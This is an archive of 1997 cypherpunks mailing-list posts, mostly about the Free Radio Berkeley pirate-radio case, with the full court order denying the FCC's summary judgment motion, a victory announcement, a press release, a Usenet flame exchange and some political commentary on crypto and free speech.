>>will his protected speech be used to measure his compliance with the terms
>>of his supervised release?

  That was half of the purpose of his persecution. "We the people" were the
other half of the sacrificial lamb targeted for cold-storage.

>>But cases like Jim's demonstrate that there's a considerable
>>gulf between the high-school-civics-class idea that we are all equal before
>>the law and the practical world of the criminal trial system. Jim was
>>treated specially at every stage of this process because of what he's
>>written, and that should make every person who values free political
>>expression uncomfortable. Jim's case demonstrates that we're moving closer
>>to a country where one can be prosecuted for thoughtcrime.

  The corollary to this is that we are moving closer to a country where
we will need to take up arms in both meatspace and cyberspace if we wish
to defend our basic human rights.
(Former NRA members are unlikely to take any more consolation from the
 government's expressed desire to only want to ban 'strong' crypto, than
 they were from the government's incremental announcements that they only
 want to ban criminal/assault/dangerous-looking/kind-of-scary/citizen's
 guns.)

  Rage Against The Machine
  Lock And Load
  Lock And Loll

Human Gus-Peter-San <gold@toad.com>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 14 Dec 1997 21:58:58 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Radio Free Cypherpunks... (fwd)
Message-ID: <199712141414.IAA01470@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sun, 14 Dec 1997 01:28:43 -0500
> From: Declan McCullagh <declan@well.com>
> Subject: Re: Radio Free Cypherpunks...
> 
> At 08:13 -0600 12/13/97, Jim Choate wrote:
> >With the recent changes in the law regarding Pirate Radio is anyone looking
> 
> What changes? At the Cato Institute holiday party last night, I was
> speaking to a lawyer from the Institute for Justice about pirate radio
> lawsuits. The changes you mention didn't come up. What are they?

Recently a pirate radio was charged by the FCC for operating without a
license. The judge in the case heard the arguments and said their was merit
in the question of constitutionality of the FCC regulations. The radio was
allowed to stay on the air while both sides prepared their cases. Apparently
the judge said something about this being the first time such constitutional
questions had been raised.

There is also at least one piece of cpunks traffic in this about 2 weeks
old when the judge made the ruling.

I believe there might be something at one of the ARRL sites.



    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 14 Dec 1997 22:12:47 +0800
To: cypherpunks@ssz.com
Subject: news:349242B3.E81DDFC4@cowcentric.net
Message-ID: <199712141428.IAA01553@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



                          RE: FRB/FCC: 2 WEEKS ARE UP
                                       
   From: Buster <BBusterB@cowcentric.net>
   Reply to: BBusterB@cowcentric.net
   Date: Sat, 13 Dec 1997 00:09:23 -0800
   Organization: =-=
   Newsgroups:
          alt.radio.pirate
   Reply to: newsgroup(s)
   References:
          <66ijq2$jj9$1@usenet89.supernews.com> 
          <348D1FB2.8F257E91@concentric.net> 
          <66t5t6$4ir$1@usenet48.supernews.com>

***** wrote:
-
- Buster <BBusterB@concentric.net> wrote:
-
- >***** wrote:
- >>
- >> Any news about the FRB case?  Seems the FCC goons had to weeks to
- >> reply.
-
- >       They don't understand "to weeks".  Yes two weeks, then
- >FRB et al have two weeks to rebut.  Which are the "goons"?
-
- >       DAMMIT!  Get your facts straight, _ASTERISKS_.
-
- >       Next: the Court never said it would respond immediately.
- >Witness the last procrastination of many months.  You must know,
- >if you are worth your meager salt, that the Court has no obligation
- >to report-out prelimary inputs!
-
- >       It's nice to get your ignorance calibrated, "asterisks".
- >So it goes, shit-heads happen!
-
- >BB
-
- >--
-
- >        Laisser les bon rouller!
- --------------------------------------------------
- So!  Butt-Buddy Ball-Buster rides some ass again!

        YUP ...especially for ignoramousus!


- Look, "Buddy," so I didn't proofread the post before it went up, OK?

        NO? ...why not?  Just a spew?

- So what?  I think most folks here knew what the question was.
- As for getting YOUR facts straight, here's the quote from the Court's
- decision:

        Sure glad you learned _something_!  Like to be truthful!


-> "The FCC shall file with the Court and serve on Mr. Dunifer its brief
- on this issue 14 days from the date of this order. Mr. Dunifer's
- opposition is due 7 days thereafter. If the FCC wishes to file a
- reply, it may due so 7 days after the opposition is served."
- The FCC (the goons) had 2 weeks, and Dunnifer had 1 to rebut. And I
- never said anything about the Court responding "immediately."

        SO?  BFD if you don't understand what is entailed, creep!


- So go back to spewing in your toilet, cuz it's just stinkin' up the
- place around here.

        NO, you are spewing with your misinformation "wishes".


- Did I say goons? Yeah, FCC GOONS, of which you either ARE one, or you
- surely are a wannabe. Phone home, spook.

        Not all Creep!  You are so enamoured with your own egocentric
specious thoughts that you fail to recognize realities.


        Anyone who wants can find the latest (hopefully) at:

        http://www.freeradio.org/       (Dunnifer's pages)
        and/or
        http:www.surf.com/~goham/nlg.html       (his lawyer's pages)

Good surfing.           BB

--


        Laisser les bon rouller!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 14 Dec 1997 22:53:44 +0800
To: cypherpunks@ssz.com
Subject: court2.txt
Message-ID: <199712141507.JAA01689@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain





IN THE UNITED STATES DISTRICT COURT
 FOR THE NORTHERN DISTRICT OF CALIFORNIA


UNITED STATES OF AMERICA,       No. C 94-03542 CW
Plaintiff,                      ORDER DENYING PLAINTIFF'S
                                MOTION FOR SUMMARY
v.                              JUDGMENT WITHOUT
                                PREJUDICE AND REQUESTING
STEPHEN P. DUNIFER,             FURTHER BRIEFING
Defendant.

By this action, the United States, on behalf of its agency,
the Federal Communications Commission ("FCC"), seeks declaratory
and injunctive relief against Defendant Stephen P. Dunifer for
operating a radio station, "Free Radio Berkeley," without a
license in violation of 47 U.S.C.S 301 of the Communications Act
of 1934, as amended, 47 U.S.C. S 151 et seq. Several amici curiae
have filed a brief supporting the FCC. Mr. Dunifer does not
dispute that he is broadcasting without a license and that he has
never applied for a license. Mr. Dunifer does not question the
constitutionality ot the statute that requires broadcasters to
obtain a license. Mr. Dunifer asserts, however, that relief
should not be granted to the FCC because he cannot obtain a
license to broadcast under the FCC'S regulations, which he claims
are unconstitutional. The FCC regulations do not allow for the
licensing of micro radio broadcasters, that is, radio broadcasters
who, like Mr. Dunifer, use ten watts or less to power their
signals.(1) Presently before the Court is the FCC'S motion for
summary judgement which Mr. Dunifer and several amici curiae
oppose. The matter was heard on April 12, 1996.Having
considered all of the papers filed by the parties and oral
argument on the motion, the Court DENIES the FCC's motion without
prejudice and requests further briefing.

LEGAL STANDARD
Summary judgment is properly granted when no genuine and
disputed issues of material fact remain, and when, viewing the
evidence most favorably to the non-moving party, the movant is
clearly entitled to prevail as a matter of law. Fed. R. Civ. P.
56; CelotexCorp. v. Catrett, 477 U.S. 317, 322-23 (1986);
Eisenberg v. Insurance Co. of North America, 815 F.2d 1285, 1288-
89(9th Cir. 1987).
The moving party bears the burden of showing that there is no
material factual dispute. Therefore, the Court must regard as
true the opposing party's evidence, if supported by atfidavits or
other evidentiary material.Celotex, 477 U.S. at 324; Eisenberg,

---------------------------------------------------------------
Footnote

(1) 47 C.F.R.S 73.512(c) states, in relevant part:
 Except in Alaska, no new Class D [micro radio station]
 applications nor major change applications by existing Class D
 stations are acceptable for filing except by existing class D
 stations seeking to change frequencies.

-----------------------------------------------------------------

 47 C.F.R.S 73.506(b) provides, in relevant part:
 Any noncommercial educational station except Class D may be
 assigned to any of the channels listed in S 73.501.
 Section 73.501 lists channels available for assignment.


813 F.2d at 1289. The Court must draw all reasonable inferences
in favor of the party against whom summary judgment is sought.
Matsushita Elec. Indus. Co. v Zenith Radio Corp., 475 U.S. 574,
587 (1986); Intel Corp. v. Hartford Accident and Indem. Co., 952
F.2d 1551, 1558 (9th Cir. 1991).

DISCUSSION
JURISDICTION
The FCC challenges this court'sjurisdiction to entertain Mr.
Dunifer's constitutional defenses to this action. The FCC invoked
the jurisdictional grant of 47 U.S.C. S 401 (a) in filing the
instant action. Section 401(a) provides that:

The district courts of the United states shall have
jurisdiction, upon application of the Attorney General
at the request of the [Federal Communications]
Commission, alleginq a failure to comply with or a
violation of any of the provisions of this chapter by
any person, to issue a writ or writs of mandamus
commanding such person to comply with the provisions of
this chapter.

The court thus has jurisdiction to enjoin any violation by Mr. Dunifer of
47 U.S.C.S 3Ol, which, simply put, prohibits operating a radio station
without a license. The FCC argues, however, that the jurisdictional grant
of 47 U.S.C.S 401(a) is not broad enough to encompass Mr. Dunifer's
constitutional defenses which challenge the regulations that make it
impossible for a micro radio broadcaster to obtain a license. The FCC
argues that any court challenge to the FCC's regulations regarding
licensing must be brought either: (1) as an appeal to the United States
Court of Appeals for the District of Columbia under 47 U.S.C.§ 402(b) (1)
[2] of the FCC's denial of a request for a waiver of the regulation
prohibiting low power stations to apply for a license; or (2) as an appeal
to the court of appeals for any circuit of the FCC's denial of a petition
for rule-making under 47 U.S.C. § 402(a) [3] and 28 U.S.C. § 2342[4]. In
support or its position, the FCC principally relies on Sable
Communications of Californiav. FCC, 827 F.2d 640 (9th Cir. 1987). In Sable
Communications, the plaintiff provider of sexually suggestive telephone
services sought declaratory and injunctive relief against the FCC claiming
that a statute and the FCC regulation implementing that statute violated
its First Amendment rights.Id. at 641. Relying on 28 U.S.C. § 2342, the
Ninth circuit affirmed the district court's dismissal of the plaintiff's
challenge to the regulation, finding that the court or appeals had
exclusive jurisdiction over claims regarding the
--------------------------------------------------------------------
Footnotes

 [2] section 402(b) (1) provides:
 Appeals may be taken from decisions and orders of the
 Commission to the United States Court of Appeals for the
 District of Columbia in any of the following cases:
(1)By any applicant for a construction permit or station
license, whose application is denied by the Commission.

[3]Section 402 (a) provides:
Any proceeding to enjoin, set aside. annul, or suspend any
order of the commission under this chapter (except those
appealable under subsection (b) of this section) shall be
brought as providea by and in the manner prescribed in chapter
l58 cf Title 28 [28 U.S.C. § 2342J]

[4] section 2342(1) provides:
The court of appeals (other than the United States Court of
Appeals for the Federal Circuit) has exclusive jurisdiction to
 enjoin, set aside, suspend (in whole or in part), or to
 determine the validity of--
(1) all final orders of the Federal Communications
Commission made reviewable by section 402 (a) of title 47.

------------------------------------------------------------------
constitutionality of regulations made reviewable by 47 U.S.C.
S 402 (a). Id. at 642-43. The FCC also relies on Moser v. FCC, 46
F.3d 970, 973 (9th Cir.), cert. denied, 515 U.S. 1161 (1995). In
Moser, the FCC questioned the district court's jurisdiction to
hear the plaintiff's challenge to a statute on the ground that the
plaintiff was actually challenging FCC regulations. Id. at 973.
The Ninth Circuit determined that the district court had
jurisdiction over the case because the plaintiff's challenge did
not reach the regulations. Id. The Ninth circuit noted in dicta
that a challenge to the regulations would have been outside the
jurisdiction of the district court. Id.
Both of these cases were brought by plaintiffs who arguably
sought to challenge FCC regulations in a district court. Neither
involved a situation like that here, in which a defendant seeks to
defend himself against a claim brought against him by the FCC in a
district court. [5]
Mr. Dunifer argues that while 47 U.S.C. S 402 (a) establishes
the general rule that FCC actions are to be reviewed in the court
of appeals, 47 U.S.C. 5 401(a) trumps this statute by specifically
providing that the district courts have jurisdiction over writ
proceedings filed by the FCC. He argues that this section grants
jurisdiction to the district court to consider any defenses to
such proceedings as well. For support, Mr. Dunifer cites Dougan
v. FCC, 21 F.3d 1488 (9th cir. 1994).
----------------------------------------------------------------
Footnote

[5] Wilson v. A.H. Belo Corp., 87 F.3d 393 (9th Cir. 1996), a
recent Ninth Circuit case cited by the FCC, likewise did not
involve a defendant's attempt to defend itself in district court by
challenging an FCC action.

-------------------------------------------------------------------

In Dougan, the petitioner, an unlicensed operator of a micro
radio station, sought review in the Ninth circuit of an FCC notice
of forfeiture under 47 U.S.C. § 504 (a) [6]. Id. at 1489. The FCC
had issued the notice of forfeiture after it found that Mr. Dougan
had violated 47 U.S.C. S 301 by operating a radio station without
a license and had violated 47 C.F.R. S l5.29 by refusing to permit
an FCC representative to inspect his station. [7] Id. Mr. Dougan
disputed that he had violated 47 C.F.R. S 15.29 and challenged
 "the jurisdiction of the FCC over his intrastate broadcasts and
 the constitutionality of the licensing regulations." Id. at 1489-
 90. Mr. Dougan's complaint apparently challenged the
 constitutionality of the same FCC regulation, prohibiting the
 issuance of a license to micro radio broadcasters, that is
 challenged here by Mr. Dunifer. Id. at 1489. Because a notice of
 forfeiture is a final order of the FCC, under 47 U.S.C. S 402 (a)
 and 28 U.S.C. 5 2342 such a proceeding would properly he brought
 in a court of appeals. At the FCC's urging, however, the court
 dismissed Mr. Dougan's case in favor of district court
 jurisdiction. Id. at 1489, 1491. The court of appeals did not
 retain its jurisdiction over the constitutional defenses that it
------------------------------------------------------------------
Footnotes


 [6]Section 504 (a) provides in pertinent part:
 The forfeitures provided for in this chapter shall be
 payable into the Treasury of the United States, and shall
 be recoverable, . . ., in a civil suit in the name of the
 United States brouqht in the district where the person or
 carrier has its principal operating office....
 Provided, that any suit for the recovery of a forfeiture
 imposed pursuant to the provisions of the chapter shall
 be a trial de novo.

[7] Section 15.29 provides, in relevant part, that any equipment
or device subject to FCC regulations must be made available for
inspection by a Commission representative upon reasonable request.

-----------------------------------------------------------------

 specifically noted Mr. Dougan had raised. Id. Following the
 decision of the District of Columbia Circuit in Pleasant
 Broadcasting Co. v. FCC, 564 F.2d 496 (D.C. Cir. 1977), the Ninth
 Circuit reasoned that "Congress did not intend to give petitioners
two bites at the apple by allowing them to challenge the
forfeiture in the appellate court, and if they lost, to sit back
and await an enforcement action, at which time they would be
entitled to a trial de novo in the district court."Dougan, 21
F.3d at 1491. The court concluded that 47 U.S.C. S 504 (a) is a
special review statute which vests jurisdiction over forfeiture
actions in the district courts. Id. The court held that this
special review statute cuts off the simultaneous jurisdiction
created in the court of appeals by 47 U.S.C. S 402 (a), the general
review provision. Id. The FCC argued, and the court found, that
this jurisdictional grant encompasses both actions filed by the
government to enforce a forfeiture and those filed by individuals
seeking to avoid enforcement.
The instant case was brought under 47 U.S.C. S 401 (a) rather
than 47 U.S.C. S 504 (a). Unlike The situation in Dougan, in this
case Mr. Dunifer has not filed a complaint to avoid enforcement of
the FCC's forfeiture order, nor hasthe FCC filed an action to
enforce its forfeiture order.[8]Thus, There is no final order of
the FCC before this court that is also reviewable by the appellate

----------------------------------------------------------------
Footnote:

[8] In 1995, the FCC assessed a forfeiture against Mr. Dunifer in
the amount of $10,000. See In the Matter of Stephen Paul Dunifer,
FCC 95-333, August 2, 1995. Mr. Dunifer requests, in a footnote in
his opposition, that the Court stay these proceeding for two weeks
to permit him to file a complaint for declaratory relief seeking
review of the FCC's forfeiture order. The Court will not stay
these proceedings. Mr. Dunifer may file the complaint to which he
refers at any time, if he wishes to do so.
------------------------------------------------------------------

 court under 47 U.S.C. S 402 (a). This means that only the district
 court has jurisdiction over this action; this is not a situation
 where two courts have simultaneous jurisdiction. Therefore, the
 Ninth Circuit's concern in Dougan about Mr. Dougan having two
 bites of the apple is not applicable. However, like 47 U.S.C.
 S 504(a), 47 U.S.C. S 401(a) provides that the FCC may initiate a
 specific type of enforcement action in the district court. The
 Ninth Circuit in Dougan determined that 47 U.S.C.S 504 (a)
 required Mr. Dougan to bring his lawsuit, including his
 constitutional challenges to the FCC regulation, in the district
 court. By analogy, it would appear that 47 U.S.C. S 401 (a)
 provides the district court with jurisdiction to hear not only the
 FCC's charge of broadcasting without a license, but also any valid
 defense to the charge. If the unconstitutionality of the FCC
 regulatory scheme that does not permit Mr. Dunifer to obtain a
 license would be a valid defense to a charge of broadcasting
 without a license, then that defense would be encompassed within
 the grant of jurisdictionto the district court provided in 47
 U.S.C. S 401(a).
        The FCC has submitted a recent case decided in the District
 of Minnesota which, under facts similar to those in the case at
 bar, held that district courts do not have jurisdiction over
 constitutional challenges to FCC regulations raised as defenses in
 an FCC action to enforce a forfeiture order. United States v. Any
 and All Radio Station Transmission Equipment, et al., _ F. Supp.
_, 1997 WL 591127 (D. Minn.) ("Transmission Equipment"). In
Transmission Eqipment, the FCC filed suit in district court to
enforce a forfeiture order against a micro radio station on the
ground that it was broadcasting without a license. Id. at *1.
The defendant admitted to broadcasting without a license but
raised affirmative defenses challenging the constitutionality of
the FCC regulatory scheme that did not allow the licensing of
micro radio stations. Id. at *2. The court distinguished
Pleasant Broadcasting on the grounds that the petitioners there
disputed that they had violated a statute or regulation; the
relevant language required "repeated" violations and both
petitioners admitted to one, but not to repeated violations. Id.
at *3. The court concluded that Pleasant Broadcasting did not
apply to the facts before it because the defendant in Transmission
Equipment did not dispute that he violated the statute prohibiting
broadcasting without a license, but instead raised constitutional
challenges to the FCC's regulatory scheme as affirmative defenses.
Id. The court could not distinguish Dougan on the same ground
because Mr. Dougan admitted that he had broadcast without a
license, as did the defendant in Transmission Equipment. Id.at
*4. Instead, the court interpreted Dougan as involving only a
dispute over whether Mr. Dougan had violated 47 C.F.R. S 15.29 by
refusing to permit FCC engineers to inspect his radio station.
Id. The court distinguished Dougan on the ground that Mr. Dougan
challenged the FCC's forfeiture order and did not challenge the
FCC's prohibition against low power broadcasting. Id.
However, as discussed above, in Dougan, the Ninth Circuit
specifically noted that Mr. Dougan had raised constitutional
defenses to the FCC's licensing regulations in addition to a
defense based on 47 C.F.R. S 15.29. Dougan, 21 F.3d at 1489.
Moreover, in ruling that the district court had exclusive
jurisdiction to hear Mr. Dougan's action to avoid enforcement, the
Ninth Circuit neither explicitly stated nor implied that the
district court could only hear Mr. Dougan's defense based on 47
C.F.R.§ 15~29, and not his constitutional defenses. The court
did not retain jurisdiction over Mr. Dougan's constitutional
challenge to the regulation.
 A case cited by neitner party, United States v. Evergreen
Media Corp of Chicago, involved an action brought by the
government in district court to enforce a forfeiture order issued
by the FCC. 832 F. Supp. 1183 (N.D. Ill. 1933). The forfeiture
order was issued as a result of the FCC's determination that
Evergreen Media, a radio station, had violated 18 U.S.C. § 1464, a
criminal statute imposing a fine or imprisonment as punishment for
uttering obscene, indecent, or profane language by means of radio
communication. Id. at 1184. The defendant filed a counterclaim
challenging the constitutionality of IS U.S.C. § 1464. Id. The
counterclaim alleged that 18 U.S.C. § 1464 was facially
unconstitutional both for vagueness and for overbreadth, and that
18 U.S.C. § 1464 was unconstitutional as applied, on the ground
that the FCC's interpretation of the statute was not the least
restrictive means of accomplishing the goals of the statute.Id.
The defendant also alleged that the FCC's enforcement of the
statute constituted a violation of substantive due process and of
the Equal Protection Clause. Id. The FCC argued that the court
lacked jurisdiction to hear any claims raised by the defendant
which attacked the FCC's policies, practices or regulations. Id.
at 1186. The court found that it had jurisdiction to hear the
 defendant's constitutional challenges to the FCC'S regulations
interpreting 18 U.S.C. S 1464. Id. at 1184-86. Citing Pleasant
Broadcasting, the court found that 47 U.S.C!. § 504(a), which gives
district courts jurisdiction to hear forfeiture actions, provides
an exception to the general rule that challenges to regulations
must be heard in a court of appeal. Id. Evergreen Media provides
additional support for the conclusion that this Court has
jurisdiction to hear Mr. Dunifer's constitutional claims.
 Although the FCC and Mr. Dunifer address the issue of whether
this Court has jurisdiction to hear Mr. Dunifer'sconstitutional
challenges to tho FCC'S regulations, neither party has adequately
briefed whether the alleged unconstitutionality of the licensing
regulations is a valid defense to a request for an injunction
against broadcasting without a license. That is, assuming
arguendothat the regulations were unconstitutional, would this
justify Mr. Dunifer's action of broadcasting without having, or
even attempting to obtain, a license and prevent the FCCfrom
obtaining an injuction? Dougan does not address this question.
Mr. Dunifer asumes that the alleged unconstitutionality of the
regulations would be a valid defense. While it criticizes Mr.
Dunifer for failing to seak a license, the FCC largely confines
its argument to its view that the Court is without jurisdiction to
hear the unconstitutionality defense at all. If the
unconstitutionality of the regulations would be a defense under
these circumstances, this Court would be reguired to determine
whether the regulations are in fact unconstitutional. Otherwise,
the Court need not consider the constitutional issue.
 In support of hts argument, Mr. Dunifer analogizes his
situation to that of a criminal defendant seeking to defend
himself on the ground that the regulation under which he was being
prosecuted was unconstitutional. The FCC responds that in United
states v.Alloy, 755 F. Supp. 771, 775 (N.D. Ill. 1990), the court
precluded the defendant from raising constitutional challenges to
a regulation he was accused of violating. In Alley, however, the
defendant did not argue that the regulation was unconstitutional.
Rather the defendant argued that the regulation was unlawful
because the administrative agency, in promulgating the regulation,
had acted outside the scope of authority granted to it by
Congress. Id.The court, moreover, noted that the statutory
scheme specifically forbade judicial review in any civil or
criminal proceeding for enforcement of the regulation under which
the defendant was charged. Id. The FCC has not pointed to any
provision of the Communications Act which specifically prohibits
judicial review cf a licensing regulation in an enforcement
proceeding. Furthermore, even if Alley were applicable here, a
single district court case from another circuit is slim authority
on which to base this decision.
 Therefore, the Court requests that the parties provide
further briefing on the issue of whether the unconstitutionality
of the FCC regulatory scheme would be a valid defense in an action
brought by the FCC to enjoin broadcasting without a license. The
FCC shall file with the Court and serve on Mr. Dunifer its brief
on this issue 14 days from the date of this order. Mr. Dunifer's
opposition is due 7 days thereafter. If the FCC wishes to file a
reply, it may due so 7 days after the opposition is served.

CONCLUSION

For the foregoing reasons, the FCC's motion for summary
judgment is DENIED WITHOUT PREJUDICE. The parties are ordered to
comply with the briefing schedule indicated above.


IT IS SO ORDERED.


Dated November 12, 1997 Claudia Wilken
UNITED STATES DISTRICT JUDGE







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 14 Dec 1997 22:53:38 +0800
To: cypherpunks@ssz.com
Subject: victory.txt
Message-ID: <199712141508.JAA01719@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



>From frbspd@crl.com Thu Nov 13 11:41:55 1997
Date: Thu, 13 Nov 1997 01:48:43 -0800 (PST)
From: Stephen Dunifer <frbspd@crl.com>
To: Barry Alexander <peyote@netcom.com>
Subject: FRB legal victory


ANOTHER VICTORY FOR FREE RADIO BERKELEY & MICROPOWER BROADCASTING


At 7 PM on Wednesday, November 12 attorneys for Stephen Dunifer & Free
Radio Berkeley received a 14 page decision via fax from Federal District
Court Judge Claudia Wilken announcing her ruling in favor of Stephen
Dunifer and Free Radio Berkeley.  Her ruling denies the FCC's motion for
summary judgement for a permanent injunction, states that she has
jurisdiction in this case and that the FCC's regulatory structure is
unconstitutional.  Further, she orders the FCC to submit within 14 days a
brief on the constitutional issues raised.  Essentially Judge Claudia
Wilken affirms all the merits and arguments raised by the defense
attorneys for Stephen Dunifer and Free Radio Berkeley.

Stay tuned for further details.  The full text of the decision will be
posted ASAP.  A victory party will take place on Saturday evening,
November 15 in Berkeley.  Place to be announced as soon as one is
secured.  Everyone is invited.

Stephen Dunifer
Free Radio Berkeley





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 14 Dec 1997 22:53:40 +0800
To: cypherpunks@ssz.com
Subject: wilkenrules.html
Message-ID: <199712141508.JAA01756@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



            JUDGE WILKEN DENIES FCC MOTION FOR SUMMARY JUDGEMENT!!!
                                       
  Press Release Follows. To Go Directly To The Full Text Of Judge Wilken's
  Decision, Click Here
  
   
   
National Lawyers Guild Committee on Democratic Communications

  558 Capp Street, San Francisco 94110
  
   FOR IMMEDIATE RELEASE
   
   
                 COURT REJECTS FCC'S CONSTITUTIONAL CATCH 22
                                       
     United States District Court Judge Claudia Wilken has rejected
     another attempt by the Federal Communications Commission to silence
     Berkeley Micro Radio Broadcaster Stephen Dunifer, founder of Free
     Radio Berkeley.
     
     In a 13 page opinion released on November 12, 1997, Judge Wilken
     once again rejected the government's motion for an injunction to
     silence micro radio broadcasts by local radio pioneer Stephen
     Dunifer.
     
     In 1995, Judge Wilken rejected the government's first motion for a
     preliminary injunction against Dunifer's broadcasts. At that time
     the Court found merit in Dunifer's argument that the FCC's ban on
     low power, affordable FM broadcasting was a violation of the First
     Amendment's guarantee of free speech to all in the United States.
     
     In a blatant attempt to avoid facing its First Amendment obligations
     the FCC then urged Wilken to permanently enjoin Dunifer from
     Broadcasting and at the same time argued that she could not even
     consider the issue of whether its rules, which prevent him from
     getting a license, are unconstitutional. In a Kafkaesqe argument,
     the Commission argued that Wilken had jurisdiction to issue an
     injunction, but no jurisdiction to hear Dunifer's constitutional
     arguments. The government claimed that only the higher federal
     courts could consider the constitutional question.
     
     In her November 12 decision rejecting the Government's position,
     Judge Wilken pointed to the fact that the FCC had taken exactly the
     opposite position in the 1994 case of Dougan vs FCC. In that case,
     an Arizona micro radio broadcaster had appealed an FCC fine (for
     broadcasting without a license) to the 9th Circuit Federal Court of
     Appeal, and the FCC had argued that the Court of Appeal had no
     jurisdiction over the case, and that it had to be heard by the
     District Court. The Court of Appeals agreed with the FCC and sent
     the case back to the District Court.
     
     Judge Wilken noted that the Arizona broadcaster had raised the same
     constitutional arguments in the Court of Appeals that Dunifer is
     raising. The Court ruled that in sending all of the issues in the
     Arizona case to the District Court, the Appeals Court recognized
     that the District Court had jurisdiction over all aspects of the
     case.
     
     In denying the Government's motion for an injunction "without
     prejudice," Judge Wilken ordered the Government to file a further
     brief on the question of whether the unconstitutionality of the
     FCC's ban on micro radio is a valid legal defense to an injunction
     against broadcasting at low power without a license. Dunifer's
     attorneys, Louis Hiken and Allen Hopper of San Francisco, will have
     an opportunity to rebut the government's arguments on this point.
     
     In response to pressure from the commercial broadcaster's lobby, the
     National Association of Broadcasters (N.A.B.), the FCC has in recent
     months been stepping up its campaign of harassment against the
     thousands of micro radio stations now on the air in this country.
     Hiken commented "The broadcast industry is clearly afraid of these
     little community stations which are speaking truth to its power. In
     trying to do the N.A.B.'s bidding, the FCC demonstrates that it is
     nothing but an enforcement arm of the commercial broadcast industry
     and the multi-national corporations which own it."
     
     The National Lawyers Guild's Committee on Democratic Communications
     has represented the Lawyers Guild, San Francisco's Media Alliance,
     and the Women's International News Gathering Services as a "Friend
     of the Court" (Amicus) in this case. In its Friend of the Court
     brief the Lawyers Guild pointed out that FCC regulations make it
     impossible for all but the very wealthy to even apply for a
     broadcast license. This, they told the Court, is the equivalent of
     saying anyone could speak from a soap box in the park, but the box
     had to be made of gold. Guild attorney Peter Franck commented "In an
     era when Disney owns ABC, the world's largest defense contractor
     owns NBC and CNN merges with Time which merges with Warner, and when
     'public' broadcasting is told to get its money from corporations,
     micro radio may be our last best hope for democracy on the air
     ways." He continued "Judge Wilken's decision is a courageous
     rejection of the Government's attempt to use a legal Catch-22 to
     avoid facing the fact that its ban on micro radio flies in the face
     of the Constitution."
     
     The legal team representing Dunifer and the Amicae are very pleased
     with Judge Wilken's reasoned and thorough decision denying the FCC's
     motion to have the case resolved without a trial on the merits. For
     almost 70 years, the FCC has catered solely to the interests of
     commercial corporate giants, through their mouthpiece, the National
     Association of Broadcasters. These are the pirates, who have stolen
     the airwaves from the American people, and who represent corporate
     interests valued at more than 60 billion dollars. Only the Pentagon,
     the Silicon Valley and the transportation industries possess the
     financial wallop represented by the NAB and its constituents.
     
     Judge Wilken's decision represents a vision of what it would be like
     for the American people to be given back their own voice. The
     decision suggests the likely unconstitutionality of the entire
     regulatory structure underlying the FCC's ban on low power radio. It
     forewarns of the total failure of that agency to carry out its
     statutory obligation to regulate the airwaves in the public interest
     -- that is, in the interest of the American people, rather than the
     media monopolies that control our airwaves.
     
     The legal team welcomes the opportunity to have a court identify the
     real pirates of the airwaves -- not the thousands of microradio
     broadcasters who seek to communicate with the people of their
     communities, but rather the billionaire commercial interests that
     control the airwaves as if they own them. Is it General Electric,
     Westinghouse and the Disney Corporation that have the right to
     control local community radio, or is that a right that belongs to
     all of the American people, regardless of economic status?
     
     FOR MORE INFORMATION, CONTACT:
     
     Peter Franck, Counsel for Amicus
     415-415-995-5055
     pfranck@hbmvr.com (days)
     pfranck@a.crl.com(evs, wknds)
     http://www.368Hayes.com/nlg.cdc.html
     
     Alan Korn, Counsel for Amicus
     415-362-5700
     aakorn@igc.org
     
     Stephen Dunifer, Free Radio Berkeley
     415-644-3779
     frbspd@crl.com
     http://www.freeradio.org
     
     Louis Hiken
     Counsel for Stephen Dunifer
     415-575-3220
     hiken@igc.org
     http://www.368Hayes.com
     
     Allen Hopper
     Counsel for Stephen Dunifer
     415-575-3222
     lazlo@igc.org
     http://www.368Hayes.com
     
     
SEE THE FULL TEXT OF JUDGE WILKEN'S DECISION

 TO STEPHEN DUNIFER/FREE RADIO BERKELEY INFORMATION PAGE

 TO FREE RADIO BERKELEY LEGAL BATTLE PAGE

 TO NATIONAL LAWYERS GUILD INFORMATION PAGE

 TO THE OFFICIAL NATIONAL LAWYERS GUILD WEB SITE

 TO NLG COMMITTEE ON DEMOCRATIC COMMUNICATIONS PAGE

 TO FREE RADIO BERKELEY WEB SITE 

BACK TO LAW OFFICES AT 368 HAYES STREET





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 14 Dec 1997 23:32:05 +0800
To: cypherpunks@toad.com
Subject: Re: Nobody will debate John Gilmore on crypto?
In-Reply-To: <v03007814b0b92aacdb02@[204.254.21.75]>
Message-ID: <VFJPHe1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@well.com> writes:

> [John Gilmore stopped by for this afternoon's crypto gathering to update us
> on the Bernstein lawsuit. Seems odd to me that he can't find someone to
> defend the administration's stance on encryption, especially since NSA's
> headquarters is close to the University of Maryland. --Declan]
...
> Subject: Gilmore speech in Baltimore on encryption policy, Tues night
